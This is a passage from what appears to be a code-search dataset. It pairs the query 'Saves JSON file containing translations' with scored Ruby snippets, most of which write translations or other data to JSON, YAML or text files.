"text": "def top\n clans = Clan.order(:count).last(3)\n render json: clans, status: 200\n end",
"title": ""
}
] |
5d4332d68176aed60c8b2876b548a2a1
|
Saves JSON file containing translations
|
[
{
"docid": "7a5f959affad6fdec92b9198a47e7708",
"score": "0.81554174",
"text": "def save!\n FileUtils.mkdir_p File.dirname(self.file)\n\n File.open(self.file, \"w+\") do |f|\n f << %(#{self.namespace}.translations || (#{self.namespace}.translations = {});\\n)\n self.translations.each do |locale, translations|\n f << %(#{self.namespace}.translations[\"#{locale}\"] = #{print_json(translations)};\\n);\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "ea7af4b55a03925be10756431cb7b2f2",
"score": "0.7884241",
"text": "def save(translations, file)\n file = Rails.root.join(file)\n FileUtils.mkdir_p File.dirname(file)\n\n File.open(file, \"w+\") do |f|\n f << %(var I18n = I18n || {};\\n)\n f << %(I18n.translations = );\n f << sorted_hash(translations).to_json\n f << %(;)\n end\n end",
"title": ""
},
{
"docid": "a167d09645fb74e16218d3194acff4c5",
"score": "0.78595376",
"text": "def save(translations, file)\n file = Rails.root.join(file)\n FileUtils.mkdir_p File.dirname(file)\n\n File.open(file, \"w+\") do |f|\n f << %(var I18n = I18n || {};\\n)\n f << %(I18n.translations = );\n f << translations.to_json\n f << %(;)\n end\n end",
"title": ""
},
{
"docid": "56c82e3269a3195be142a008809c9b4e",
"score": "0.73977935",
"text": "def save\n @storage.keys.each do |lang|\n language_path = get_local_language_path(lang)\n save_json(language_path, @storage[lang])\n end\n end",
"title": ""
},
{
"docid": "c733dc84991a481bb5a6de783fed52b5",
"score": "0.7248006",
"text": "def json_generate\n @log.info('Generate new translations json file for PhraseApp upload')\n\n source_keys = TranslationBuilder.get_all_keys\n\n translations_file = File.open(translations_path, 'r:utf-8')\n translations_object = JSON.parse(translations_file.read)\n translations_file.close\n\n key_value_object = {}\n\n source_keys.each do |source_key|\n if translations_object.key?(source_key[0])\n key_value_object[source_key[0]] = translations_object[source_key[0]]\n else\n @log.warn(\"New Key found: #{source_key[0]}\".yellow.bright)\n key_value_object[source_key[0]] = ''\n end\n end\n\n new_file = File.open(translations_new_path, 'w:utf-8')\n new_file.puts JSON.pretty_generate(key_value_object)\n new_file.close\n\n true\n end",
"title": ""
},
{
"docid": "ff40db7fda8a4926f0ae8e6ec657e8b8",
"score": "0.71530145",
"text": "def save\n File.open(json_file, 'w') {|f| f.write(to_json) }\n end",
"title": ""
},
{
"docid": "6655cde93a9ab654e658cf6ead097e65",
"score": "0.70493805",
"text": "def po_to_json\n files = read_dir(@config['paths']['to_json']['src'])\n\n files.each do |file|\n # Setup, read file\n _lang = File.basename(file, '.po')\n _file = File.open(file, \"r:iso-8859-1:utf-8\")\n _content = _file.read\n\n # Parse translations\n _translation = _content.scan(/^msgid \\\"([^\\n]+)\\\"\\n^msgstr \\\"([^\\n]+)\\\"$/)\n\n # Transform to JSON and return\n _json = { _lang => {} }\n _translation.each { |key,value| _json[_lang][key] = value }\n \n # Save file\n save_file(_json.to_json, _lang +\".json\", @config['paths']['to_json']['dst'])\n end\n end",
"title": ""
},
{
"docid": "874d4557740e2457472371f287cc1735",
"score": "0.7010044",
"text": "def save\n File.open(filepath, 'w') do |file|\n file.write to_json + \"\\n\"\n end\n end",
"title": ""
},
{
"docid": "2d0299d7377e89eead78a9f4f268a3a1",
"score": "0.6994941",
"text": "def save_file\n text = to_json\n Dir.mkdir(SAVE_DIR) unless Dir.exist?(SAVE_DIR)\n create_file(text)\n end",
"title": ""
},
{
"docid": "469b895be30e7bdaff4aef8c6cc31be3",
"score": "0.6853807",
"text": "def save\n # Populate the JSON object from the instance variables:\n json = {\n LISTS => @lists,\n NOTICES => @notices.to_a.sort!\n }\n\n # Convert the JSON object to text and save it to the file:\n text = JSON.pretty_generate(json)\n File.write(file, text)\n end",
"title": ""
},
{
"docid": "6fb61373720bf8c20f79422f11db1fab",
"score": "0.6828011",
"text": "def save\n File.write(STORE_DIR + id + '.txt', to_json)\n end",
"title": ""
},
{
"docid": "fd09ab5e551200549a5036aa9ca3c3ce",
"score": "0.6733159",
"text": "def file_save_as\n filename = select_file('Save as a JSON file')\n store_file(filename)\n end",
"title": ""
},
{
"docid": "fd2826a2f3603a75686d5765a2740b02",
"score": "0.6690605",
"text": "def update_localization_file\n write_localization_file(localization_strings)\n end",
"title": ""
},
{
"docid": "b0c14ce712bbd1835d338864eec5eb45",
"score": "0.6640715",
"text": "def save!\n if @file =~ LOCALE_INTERPOLATOR\n I18n.available_locales.each do |locale|\n write_file(file_for_locale(locale), @translations.slice(locale))\n end\n else\n write_file\n end\n end",
"title": ""
},
{
"docid": "4115d8e5ac563e9e03077543c388bcf7",
"score": "0.6570313",
"text": "def save_json(filename, body)\n File.open(\"#{filename}.json\", \"w\") do |f|\n f.write(body.force_encoding('utf-8'))\n end\nend",
"title": ""
},
{
"docid": "19422cd76d5d4e6804a40043b3011571",
"score": "0.65514237",
"text": "def save\n json = MultiJson.encode(attributes)\n File.open(file, 'w') {|f| f.write(json) }\n end",
"title": ""
},
{
"docid": "19422cd76d5d4e6804a40043b3011571",
"score": "0.65514237",
"text": "def save\n json = MultiJson.encode(attributes)\n File.open(file, 'w') {|f| f.write(json) }\n end",
"title": ""
},
{
"docid": "5556b63226b0711682df93283fbd169d",
"score": "0.65462583",
"text": "def save_json()\n\t\tjson = JSON.pretty_generate(@@json_data)\t\t\t\t\t#parse\n\t\tFile.open(\"data.json\", 'w') { |file| file.write(json) }\t\t#save as json file\n\t\t\n\tend",
"title": ""
},
{
"docid": "f86c805b8d2421631ec5de37b7a3bbba",
"score": "0.6544035",
"text": "def save_file\n File.open(filename, 'w') do |out|\n YAML.dump(merged_translations_full_hash, out)\n end\n end",
"title": ""
},
{
"docid": "b28cd13581bc7905cf526e5915b094d5",
"score": "0.65285563",
"text": "def save! json_string\n File.open( File.expand_path( @filename ), 'w') do |file|\n file.write json_string\n end\n end",
"title": ""
},
{
"docid": "c42ccdb688abc474de3912c447471c8d",
"score": "0.6489956",
"text": "def write_files\n\t\tFileUtils.mkpath( \"words_db/#{@locale}\" )\n\n\t\tFile.open( \"words_db/#{@locale}/words.json\", 'w' ) do |f|\n\t\t\tf.write JSON.pretty_generate( @words )\n\t\tend\n\n\t\tFile.open( \"words_db/#{@locale}/first_words.json\", 'w' ) do |f|\n\t\t\tf.write JSON.pretty_generate( @first_words )\n\t\tend\n\n\t\tFile.open( \"words_db/#{@locale}/n_grams.json\", 'w' ) do |f|\n\t\t\tf.write JSON.pretty_generate( @n_grams )\n\t\tend\n\n\t\t# puts @words.count\n\t\t# p @words\n\tend",
"title": ""
},
{
"docid": "aa39dbb229ae17481f99ab1df2fa35b5",
"score": "0.64818144",
"text": "def save_as(name)\n File.open(\"#{name}.json\", 'w') { |file| file.write @json }\n end",
"title": ""
},
{
"docid": "a7f40608cbbebd01aeae83f2be70ce54",
"score": "0.6479424",
"text": "def export!\n translation_segments.each do |filename, translations|\n save(translations, filename)\n end\n end",
"title": ""
},
{
"docid": "c8a93de49d45d4ee086b45e4adb245df",
"score": "0.645953",
"text": "def save!\n File.open(@filename, 'w') do |file|\n file.write(self.to_json)\n end\n end",
"title": ""
},
{
"docid": "1166986caa7fd37866048ebadac1f842",
"score": "0.6408456",
"text": "def save\n data = json_encode(@data)\n FileUtils.mkdir_p File.dirname(@filename)\n PathUtils.atomic_write(@filename) do |f|\n f.write(data)\n end\n end",
"title": ""
},
{
"docid": "2db1e3f0177d6c94d96911626500c6c3",
"score": "0.6368971",
"text": "def save_to_file(file)\r\n\r\n file = File.new(file, 'w') if file.is_a? String\r\n file.write self.to_a.to_json\r\n file.close\r\n end",
"title": ""
},
{
"docid": "b75c9447f763aedf5eaacc2674a55450",
"score": "0.6361883",
"text": "def save\n self_json = {name: @name, email: @email, permission: @permission}.to_json\n \n # Abre um arquivo, 'a' -> append\n open('users.json', 'a') do |file|\n file.puts self_json\n end\n \n end",
"title": ""
},
{
"docid": "e308be73a912cd52168cf9f92c7132d1",
"score": "0.6347893",
"text": "def save(obj)\n @json = JSON.parse(obj)\n File.open(@filename,\"w\") do |f|\n f.write(JSON.pretty_generate(@json))\n end\n self\n end",
"title": ""
},
{
"docid": "b224c27a83ae5d992ee1850d328dc345",
"score": "0.6340455",
"text": "def upload_locale(locale=I18n.default_locale)\n @aws_uploader.upload_json(\n build_translations_hash(locale), # Build a hash of all translations for the locale\n \"#{locale}.json\", # Name the file after the locale\n public: true # Make the file publicly readable\n )\n end",
"title": ""
},
{
"docid": "beae3abfc2d61f50d0bdb534a670e76c",
"score": "0.63355196",
"text": "def save_as(filename)\n file = File.open(\"./save_games/#{filename}.txt\", \"w\")\n file.puts self.to_json\n file.close\n end",
"title": ""
},
{
"docid": "66dda41f86cea6d55900407c43319837",
"score": "0.63295245",
"text": "def save\n File.open(File.join(@dirname, FILENAME), 'w') do |f|\n f << JSON.pretty_generate(@data)\n end\n end",
"title": ""
},
{
"docid": "66dda41f86cea6d55900407c43319837",
"score": "0.63295245",
"text": "def save\n File.open(File.join(@dirname, FILENAME), 'w') do |f|\n f << JSON.pretty_generate(@data)\n end\n end",
"title": ""
},
{
"docid": "c7248a34a623d60e1c9b194c2cb85282",
"score": "0.6320932",
"text": "def save_as_json\n\t\tFile.open(\"./lib/db/emails.json\",\"w\") do |f|\n\t\t\t@my_hash.each {|x| x.each{ |y| f.write(y.to_json)}}\n\t\t \n\t\tend\n\t\tputs \"File successfuly saved as emails.json\"\n\tend",
"title": ""
},
{
"docid": "1c3bc97439f6ae25d4ed7fbf5f71603e",
"score": "0.63198036",
"text": "def store(*locales)\n locales.uniq.compact.each do |locale|\n file = file_for(locale)\n data = dictionary[locale].ya2yaml\n\n Log.dev \"saving localized to: #{file}\"\n File.open(file, 'w+'){|fd| fd << data }\n end\n rescue Errno::ENOENT => e\n Log.error e\n end",
"title": ""
},
{
"docid": "a279102f4989f7ede5ce4eb44739d51f",
"score": "0.6294365",
"text": "def save\n memberinfo = {nachname: @nachname , alter: @alter, title: @title , telefonnummer: @telefonnummer , mail: @mail}.to_json\n open(\"livret.json\",\"a\") do |fichier|\n fichier.puts memberinfo\n end\n end",
"title": ""
},
{
"docid": "a8522f99b2c3dc9ab8f66686d03674a0",
"score": "0.6293642",
"text": "def store_file(path)\n if path\n data = Editor.model2data(@treeview.model.iter_first)\n File.open(path + '.tmp', 'wb') do |output|\n if @options_menu.pretty_item.active?\n output.puts JSON.pretty_generate(data)\n else\n output.write JSON.unparse(data)\n end\n end\n File.rename path + '.tmp', path\n @filename = path\n toplevel.display_status(\"Saved data to '#@filename'.\")\n unchange\n end\n rescue SystemCallError => e\n Editor.error_dialog(self, \"Failed to store JSON file: #{e}!\")\n end",
"title": ""
},
{
"docid": "7a6356e0c6f00416e998632505eefeb4",
"score": "0.6274851",
"text": "def save\n File.open(@path, \"w\") do |f|\n f.write(JSON.pretty_generate(data))\n end\n end",
"title": ""
},
{
"docid": "aa84ccb1081c64e5b2613618a8850e49",
"score": "0.62691194",
"text": "def save\n dir = File.dirname(path)\n FileUtils.mkdir_p(dir)\n File.write(path, JSON.pretty_generate(@data))\n end",
"title": ""
},
{
"docid": "8e36bcd3d6c4ed5abab5cf517af36c74",
"score": "0.6262514",
"text": "def save_json(name, json)\n File.open(\"tmp/#{name}.json\", \"w\") { |file| file.write(JSON.pretty_generate(json)) }\n end",
"title": ""
},
{
"docid": "8e36bcd3d6c4ed5abab5cf517af36c74",
"score": "0.6262514",
"text": "def save_json(name, json)\n File.open(\"tmp/#{name}.json\", \"w\") { |file| file.write(JSON.pretty_generate(json)) }\n end",
"title": ""
},
{
"docid": "a7224e32f2fcd6bb8ea3e93084e9d292",
"score": "0.6240691",
"text": "def write_properties locale, file_path\n translations_in_locale = translations.map do |k,entry|\n [k, (entry.send locale)]\n end\n JavaProperties.write translations_in_locale, file_path\n end",
"title": ""
},
{
"docid": "9e7e68ed2eea649cdf4839644d83903f",
"score": "0.6197159",
"text": "def save(fileName=\"JSON.txt\") #TODO remove default JSON.txt:\n # It's purpose is just to keep old code from breaking\n\n # Just open the file with write permissions\n newConfigFile = File.open(fileName, \"w\")\n # Write file and close it\n # TODO make sure output is up to the OpenDSA standard\n newConfigFile.write(JSON.pretty_generate(@json))\n newConfigFile.close\n end",
"title": ""
},
{
"docid": "373bc0124d133d7743a333f9ef28207b",
"score": "0.61952883",
"text": "def save\n save_to_disk(JSON.parse(self.to_json))\n end",
"title": ""
},
{
"docid": "ef7ff5b5d155d71c895b567abfba4dc8",
"score": "0.6176314",
"text": "def update_languages_file\n File.delete(LANGUAGE_FILE) if File.exist?(LANGUAGE_FILE)\n File.open(LANGUAGE_FILE, 'w') do |file|\n file.puts fetch_languages\n end\n end",
"title": ""
},
{
"docid": "722423ea9e7db03c998985e818c9c992",
"score": "0.61666614",
"text": "def save_file info\n save_game = Game.new(info[0], info[1], info[2], info[3], info[4])\n File.open(\"save.txt\", \"w\") do |file|\n file.puts save_game.to_json\n end\n end",
"title": ""
},
{
"docid": "3fd63cefec15447ce7d9769ea55f0d1c",
"score": "0.6162912",
"text": "def save_json(file_path, content)\n # create directory if doesn't exist\n dirname = File.dirname(file_path)\n FileUtils.mkdir_p(dirname) unless Dir.exist?(dirname)\n\n File.open(file_path, mode: 'w') do |file|\n file.write(JSON.pretty_generate(content))\n end\nend",
"title": ""
},
{
"docid": "3e3a395dfd1b6427ffc7e0fe76acd23c",
"score": "0.6162498",
"text": "def save(result, dpath)\n result.each do |key, language_hash| \n path = \"#{dpath}/#{key}.lproj\"\n Dir.mkdir(path) unless File.directory? path\n fout = File.open(\"#{path}/messages.strings\", 'w') \n\n language_hash.each do |key, string|\n text = \"\\\"#{key}\\\" = \\\"#{string}\\\";\\n\"\n fout.puts text\n end\n\n fout.close()\n end\nend",
"title": ""
},
{
"docid": "f8a8ddebbb415f733099cce8bb0456d4",
"score": "0.61302066",
"text": "def store_translations(locale, data, options = {})\n # TODO: make this moar awesome\n @initialized = true\n load_yml_string({locale => data}.deep_stringify_keys.to_yaml)\n end",
"title": ""
},
{
"docid": "69e999a3922ff76a60c3abf50f33b74a",
"score": "0.6127632",
"text": "def save_json(filename)\n File.write(\"JSON_META_STORE/\"+filename, JSON.pretty_generate(@extracted_metadata))\n end",
"title": ""
},
{
"docid": "11bc043029396c781fa1a27aed2eda18",
"score": "0.612131",
"text": "def save_data(data)\n raw = JSON.dump(data)\n File.open(FILENAME, 'w') do |file|\n file.write(raw)\n end\nend",
"title": ""
},
{
"docid": "11bc043029396c781fa1a27aed2eda18",
"score": "0.612131",
"text": "def save_data(data)\n raw = JSON.dump(data)\n File.open(FILENAME, 'w') do |file|\n file.write(raw)\n end\nend",
"title": ""
},
{
"docid": "11bc043029396c781fa1a27aed2eda18",
"score": "0.612131",
"text": "def save_data(data)\n raw = JSON.dump(data)\n File.open(FILENAME, 'w') do |file|\n file.write(raw)\n end\nend",
"title": ""
},
{
"docid": "30af5a8e236d0bd216f8a89bcc23fe08",
"score": "0.6118858",
"text": "def export_english_mizo\n redirect_to root_path if !session[:user_profile][\"admin\"]\n file = File.new(\"public/englishmizo.txt\",\"w\")\n words = Mizoenglish.all\n words.each do |w|\n file.puts(w.word + \" :: \" + w.definition.to_s)\n end\n file.close\n render :json => {:success => true}\n end",
"title": ""
},
{
"docid": "15fb392725e0910d5552bfd6f6d7080c",
"score": "0.60976654",
"text": "def save\n json = {name: self.name, email: self.email, permissions: self.permissions}.to_json\n\n File.open('users.json', 'a') do |file|\n file.puts(json)\n end\n\n # The above block can be rewritten like so:\n # file = File.open('users.json', 'a')\n # file.puts(json)\n end",
"title": ""
},
{
"docid": "12d20853b4ab907908c631a295032eca",
"score": "0.6092029",
"text": "def save\n File.open(@filepath, 'wb') do |f|\n f.write @@members.to_json\n end\n end",
"title": ""
},
{
"docid": "f77ac8e045d6c2b5c3dc2e6304a1a8b4",
"score": "0.60900426",
"text": "def hash_to_json\n list_town = create_hash()\n puts \"Comment souhaitez vous nommer votre Json ? exemple: scrapinfile (sans l'extention)\"\n file_name = gets.chomp\n file_name_js = file_name + \".json\"\n puts \"Ou souhaitez vous l'enregistrer ? exemple:/home/sdx/Documents/googledrive \"\n path = gets.chomp\n json_file = File.new(\"#{file_name_js}\",\"w\") #creer un fichier .json\n current_path = File.expand_path(File.dirname(__FILE__)) #retourne le current path du nouveau json cree\n File.rename(current_path, path) #move le .json de son emplacement initial, a l'emplacement desire par l'utilisateur\n filenp = path + \"/\" + file_name_js\n File.open(filenp,\"w\") do |f| #creer le .json a l'aide du hash des villes/email\n f.write(list_town.to_json)\n end\n puts \"Veuillez trouver votre fichier enregistre sous #{filenp}\"\nend",
"title": ""
},
{
"docid": "227f73ea3b33512368f9b407a9fae5c0",
"score": "0.60602444",
"text": "def update_export_file\n lines = format_export_file(localization_strings, translated_strings)\n write_export_file_lines(lines)\n end",
"title": ""
},
{
"docid": "5244446cebc2d5fb09e48e80c73dcb62",
"score": "0.60589606",
"text": "def save_locale(lang)\n fname = file_name(lang)\n backup(fname)\n Processor.write(fname, {@lang => @target}, self)\n end",
"title": ""
},
{
"docid": "0c45df16f013245064755be2cd542123",
"score": "0.6048273",
"text": "def save_translation\n user = current_user\n if user.admin?\n translation = Translation.where(lang: params[:translation][:lang]).first\n if (translation.nil?) # Insert\n translation = Translation.new(translations_params)\n if translation.save\n render json: {status: 'SUCCESS', message:'Saved translation', data:translation},status: :ok\n else\n render json: {status: 'ERROR', message:'Translation not saved', data:nil},status: :unprocessable_entity\n end\n else # Update\n if translation.update_attributes(translations_params)\n render json: {status: 'SUCCESS', message:'Updated translate', data:params.require(:translation)},status: :ok\n else\n render json: {status: 'ERROR', message:'Translate not update', data:nil},status: :unprocessable_entity\n end\n end\n end\n end",
"title": ""
},
{
"docid": "51824f359c12b4ddcdfb02948064025c",
"score": "0.60455656",
"text": "def to_file(filename)\n File.write(filename, json())\n end",
"title": ""
},
{
"docid": "3b168ca130448f1e7a823ecc36693b55",
"score": "0.60220927",
"text": "def save_as_json(data, filename)\n # Where to save the content\n output = HelperPath.record(filename)\n FileUtils.mkdir_p(File.dirname(output))\n\n # Pretty-print and sort keys before saving\n content = JSON.pretty_generate(data.sort.to_h)\n # puts content\n File.write(output, content)\n end",
"title": ""
},
{
"docid": "4c3669fa717e63291edc9fd46f38ace8",
"score": "0.6015052",
"text": "def save_to_zip(file)\r\n\r\n Zip::OutputStream.open(file) do |io|\r\n io.put_next_entry(\"strings.dat\")\r\n io.write self.to_a.to_json\r\n end\r\n\r\n end",
"title": ""
},
{
"docid": "e83483aa8825d8afca799d5cf24183f9",
"score": "0.5991834",
"text": "def auto_translate_for(local_file, locale)\n @current_locale = locale\n \t\tflat_hash = flatten_translations_hash load_translations_for(local_file, locale)\n\n translated_hash = {}\n flat_hash.each do |key, text|\n translation = text\n trans_row_hash = row_to_hash key, translation\n translated_hash.deep_merge!(trans_row_hash)\n end\n translated_hash\n\n # write the translated file\n File.open(local_file, 'w') do |file|\n final_translation_hash = {locale => translated_hash}\n file.puts YAML::dump(final_translation_hash)\n end\n \tend",
"title": ""
},
{
"docid": "2e59adbf8d527ced907bf5b7384f6f6c",
"score": "0.5974565",
"text": "def write\n self.translations.each do |key, translation|\n self.output_resource_op translation\n\n success = translation.persisted? ? self.update_translation(translation) : self.create_translation(translation)\n\n self.output_resource_op_status translation, success ? :success : :error\n self.flush_log_buffer\n end\n end",
"title": ""
},
{
"docid": "eeeca718e4cd1a26ab998853ff20405f",
"score": "0.5971541",
"text": "def export!\n if config?\n for options in config[:translations]\n options.reverse_merge!(:only => \"*\")\n\n if options[:only] == \"*\"\n save translations, options[:file]\n else\n result = scoped_translations(options[:only])\n save result, options[:file] unless result.empty?\n end\n end\n else\n save translations, \"public/javascripts/translations.js\"\n end\n end",
"title": ""
},
{
"docid": "0fc4f1dbe9bedd19d1658e84680a09bc",
"score": "0.59596527",
"text": "def save_settings\n\t\tFile.open(SETTINGS_FILE_NAME, 'w') { |f| f.write(@@settings.to_json) }\n\tend",
"title": ""
},
{
"docid": "847347f030e1b3829b4a01ff74bd45f2",
"score": "0.5953571",
"text": "def add_info_to_locale\n #load missions from the appropriate locale\n yml_file_path = yml_path I18n.locale\n file_content = File.open(yml_file_path, 'r').read\n yml_file_content = YAML.load file_content\n missions = yml_file_content[I18n.locale.to_s]['missions']\n\n # create a new mission object that is merged with the locale data (title and instructions)\n new_mission_info = {mission_id_to_locale_id(id) => {\n title: @mission_locale_title,\n instructions: @mission_locale_instructions\n }}\n missions.merge!(new_mission_info)\n\n #update the locale file by writing the missions hash back to the file\n File.open(yml_file_path, 'w') do |file|\n file.write(yml_file_content.to_yaml)\n end\n #reload the locale hash based on the new file content\n reset_locale(I18n.locale)\n end",
"title": ""
},
{
"docid": "65574c9124e8efba864e7a12e7823b59",
"score": "0.5934954",
"text": "def write_object_to_file(filename, file_contents)\n # Create Folder if not exists\n dir_path = File.dirname(filename)\n FileUtils.mkdir_p(dir_path, :mode => 0700)\n # Write File\n File.open(filename, 'w') { |file| file.write(JSON.pretty_generate(file_contents)) }\n end",
"title": ""
},
{
"docid": "b13a191ea2a897ddf3d6bc73ee59d957",
"score": "0.5926171",
"text": "def export_mizo_english\n redirect_to root_path if !session[:user_profile][\"admin\"]\n file = File.new(\"public/mizoenglish.txt\",\"w\")\n words = Word.all\n words.each do |w|\n file.puts(w.word + \" :: \" + w.thumal + \" :: \" + w.pos.to_s + \" :: \" + w.meaning.to_s + \" :: \" + w.example.to_s + \" :: \" + w.user.to_s)\n end\n file.close\n render :json => {:success => true}\n end",
"title": ""
},
{
"docid": "4fa081fe4c9bbcd971662f3d99d5ef16",
"score": "0.5918984",
"text": "def yml_to_po\r\nDir.glob(Rails.root.join('po', self.locale_code, '*.po')).each do |t|\r\n @trans_file = File.basename(t)\r\n my_file = Rails.root.join('po', self.locale_code, \"#{@trans_file}_trans.yml\")\r\n msgid\t = { @trans_file => {} }\r\n if File.exist? my_file\r\n msgid_temp = YAML.load(File.open(my_file, 'r'))\r\n if msgid_temp\r\n msgid_temp.each do |l, ldata|\r\n mmsgid = l.gsub(/\\n/, \"\\\\n\").gsub(/\\r/,'')\r\n msgid[@trans_file][mmsgid] = ldata.gsub(/\\r/,'')\r\n end\r\n end\r\n self.generate_po_files(msgid)\r\n end\r\nend\r\nend",
"title": ""
},
{
"docid": "99aa72f4dcb7c9290533d859e1be9d00",
"score": "0.59147644",
"text": "def convert_json(path, suffix=\"\", allow_dupe_keys=false)\n dst = path.gsub(\".txt\", suffix + \".json\")\n\n contents = IO.read(path)\n VDF_PATCHES.each do |re, repl|\n contents.gsub!(re, repl)\n end\n\n # Allow duplicate keys in items_game.txt, disallow them in others\n vdf = VDF.new(contents, allow_dupe_keys)\n\n json = JSON.pretty_generate(vdf.kvs)\n File.open(dst, \"w\") {|f| f.write(json) }\nrescue => ex\n puts \"Unable to convert #{path} to JSON: #{ex}\"\nend",
"title": ""
},
{
"docid": "f7c391fd4cbbe7e50c65a9d840c2b055",
"score": "0.5911501",
"text": "def save_serialized(from_lang, to_lang, dictionaries, pairs) # :doc:\n file_name = File.expand_path(\"~/.konjac/marshal/%s_%s_%s\" %\n [from_lang, to_lang, [dictionaries || :dict].join(\"_\")])\n\n # Create directory structure if necessary\n unless File.exists?(file_name)\n FileUtils.mkdir_p File.dirname(file_name)\n end\n\n File.open(file_name, \"w\") do |file|\n Marshal.dump(pairs, file)\n end\n end",
"title": ""
},
{
"docid": "8d13887223c5a1694716f8e36f34f392",
"score": "0.5906388",
"text": "def export_file\n \"#{Language.locales_dir}/#{locale}.txt\"\n end",
"title": ""
},
{
"docid": "c36d76d3f7dbff9603fb53cfb4ded84b",
"score": "0.589406",
"text": "def page title, json\n page = json \n File.open(\"#{@destination}/#{slug(title)}\", 'w') do |file| \n file.write JSON.pretty_generate(page)\n #file.close\n end\nend",
"title": ""
},
{
"docid": "43831a4a4c6325f9338c9bf928537d19",
"score": "0.5892755",
"text": "def encode_and_store(data)\r\n encoded = Yajl::Encoder.encode(data, pretty: true)\r\n File.open(json_file, 'w') { |f| f.write(encoded) }\r\n end",
"title": ""
},
{
"docid": "47380ce89a2eb5a53fb64d0aab65c496",
"score": "0.5890966",
"text": "def fine_uploader_messages_json\n translations = File.expand_path(\n \"../../../public/locales/fine_uploader_opts.#{locale}.yml\", __FILE__)\n\n YAML::load(File.read(translations)).to_json\n end",
"title": ""
},
{
"docid": "ec44cc1d050e91de91018e23fbd14b32",
"score": "0.5889672",
"text": "def save(e=\"all\", filepath=\"config.json\") \n json = get e\n File.open(filepath,'w'){|f| f.write(JSON.pretty_generate(json))}\n end",
"title": ""
},
{
"docid": "8dab9eaeaf7a1d5f0fe6b8fbde873e3e",
"score": "0.58805275",
"text": "def generate_file\n\t\tputs \"Realizando Tradução... / Loading Translate\"\n\t\tputs get_translation\n\t\ttime = Time.new\n\n \n\t\tfile = File.open(time.strftime(\"%m-%d-%Y.%H.%M.%S\") + \".txt\", 'w') do |fline|\n\t\t\tfline.puts @lang\n\t\t\tfline.puts (\"#############################\")\n\t\t\tfline.puts get_translation\n\t\t\tfline.puts (\"#############################\")\n\n\t\tend\n\tend",
"title": ""
},
{
"docid": "59980dbc8f9db0d09b53b295a658fd97",
"score": "0.588002",
"text": "def convert_json\n File.open(\"./db/townhall.json\",\"w\") do |f|\n f.write(@result.to_json)\n end\n puts \"Le scrapping est dans le json\"\n end",
"title": ""
},
{
"docid": "d23fb0a2968630662475eb535fccb9ef",
"score": "0.58703107",
"text": "def puts_object_in_json_file (object, file_name)\n\n File.open(file_name,\"w\") do |f|\n f.write(object.to_json)\n end\n puts \"The data has been put in a json file #{file_name}\"\nend",
"title": ""
},
{
"docid": "387cad6da6e6ec27c726fa32d0362898",
"score": "0.5868057",
"text": "def convert(filename)\n data = send(*convert_action)\n JSON.dump_default_options[:indent] = \"\\t\"\n JSON.dump_default_options[:space] = ' '\n JSON.dump_default_options[:object_nl] = \"\\n\"\n JSON.dump_default_options[:array_nl] = \"\\n\"\n File.open(filename, 'w') { |f| JSON.dump(data, f) }\n end",
"title": ""
},
{
"docid": "1f6a8fe8247edcd6f5e5ecfc07f98427",
"score": "0.5858532",
"text": "def save_tweet(tweet)\n data = {\n :id => tweet.id, \n :text => tweet.text, \n :created_at => tweet.created_at,\n :lang => tweet.lang,\n :reply_to => tweet.in_reply_to_screen_name\n }\n\n fullpath = File.join(path, \"#{tweet.id}.json\")\n json = JSON.pretty_generate(data)\n File.open(fullpath, 'w') { |file| file.write(json) }\n end",
"title": ""
},
{
"docid": "e4b1fa20bab4f80e70839b653a097079",
"score": "0.5856669",
"text": "def save_translated(attrs, lang)\n puts \"Attrs are: #{attrs}\"\n # Getting/Creating the article at which we are going to save our translated attributes in\n lang_article = @article.translations.with_locale(lang.to_sym).first_or_create!\n # Save our attributes\n attrs.each do |key, value|\n lang_article[key] = value\n end\n # Save our translated article.\n lang_article.save!\n lang_article\n end",
"title": ""
},
{
"docid": "3cbf169a55a31604ba0669b1159051fe",
"score": "0.58549005",
"text": "def dump_yaml!\n FileUtils.mkdir_p LOCALE_DIR\n File.open(template_file,'w+'){ |f| YAML::dump(@translations, f) } \n end",
"title": ""
},
{
"docid": "dc9b7f32211b1dc0d701f90bc1ac9912",
"score": "0.58466744",
"text": "def save_file\n @stored_file = File.new(\"list.json\", \"w+\")\n hashed = Hash.new(\"items\")\n @items.each_with_index do |item, index|\n hashed[\"#{item.description},#{item.completed_status},#{item.priority.to_s},#{item.date_string}\"] = index \n end\n @stored_file.write(hashed.to_json)\n end",
"title": ""
},
{
"docid": "ec1bffa93fdb3048fb5c29e67a402661",
"score": "0.5845241",
"text": "def save(context, filename, hash)\n www_directory = context.dashboard_config['www-directory']\n\n path=\"#{www_directory}/json-data/#{filename}.json\"\n f = open(path, 'w')\n f.puts(JSON.pretty_generate(hash))\n f.close\nend",
"title": ""
},
{
"docid": "3bac067d66073900bd5e8f8b9c30a1ba",
"score": "0.5843705",
"text": "def saveDataToJson(filePath, data)\n\t\tsaveFileData(filePath, JSON.generate(data))\n\tend",
"title": ""
},
{
"docid": "df29aee06739fb3f85e0b7be0c0b3ce1",
"score": "0.584049",
"text": "def save_path path\n\tjson=File.read(\"steps.json\")\n\tpath_file=JSON.parse(json); \n\tpath_index=path[0] #the path will be indexed by the name of the article\n\tpath_hash=Hash.new\n\tpath_hash[path_index]=path\n\tpath_file[\"steps\"] << path_hash #append the path to the new hash\n\tFile.open(\"steps.json\", \"w\") do |f|\n\t\tf.write(path_file.to_json)\n\tend\nend",
"title": ""
},
{
"docid": "5bab0483c404d3a6e105588fca728b35",
"score": "0.58373666",
"text": "def export_to_json\n @project_id = params[:project_id]\n if Project.find(@project_id) != nil\n @exported_data = PreferedSynonym.where(project_id: @project_id).all\n json_string = \"{ \"\n if @exported_data != []\n @exported_data.each do |word|\n if(word == @exported_data.first)\n @keyword = Keyword.find(word.keyword_id).name\n @synonym = Synonym.find(word.synonym_id).name\n json_string << \"\\\"word\\\": \\\"\" +\n @keyword + \"\\\", \\\"translation\\\": \\\"\" + @synonym + \"\\\"\"\n else\n @keyword = Keyword.find(word.keyword_id).name\n @synonym = Synonym.find(word.synonym_id).name\n json_string << \", \\\"word\\\": \\\"\" +\n @keyword + \"\\\", \\\"translation\\\": \\\"\" + @synonym + \"\\\"\"\n end\n end\n json_string << \" }\"\n else\n flash[:notice] = t(:no_words)\n redirect_to project_path(@project_id), flash: flash\n return\n end\n send_data json_string ,\n type: \"text/json; charset=UTF-8;\",\n disposition: \"attachment; filename=project_data.json\"\n else\n flash[:notice] = t(:no_project)\n redirect_to projects_path, flash: flash\n end\n end",
"title": ""
},
{
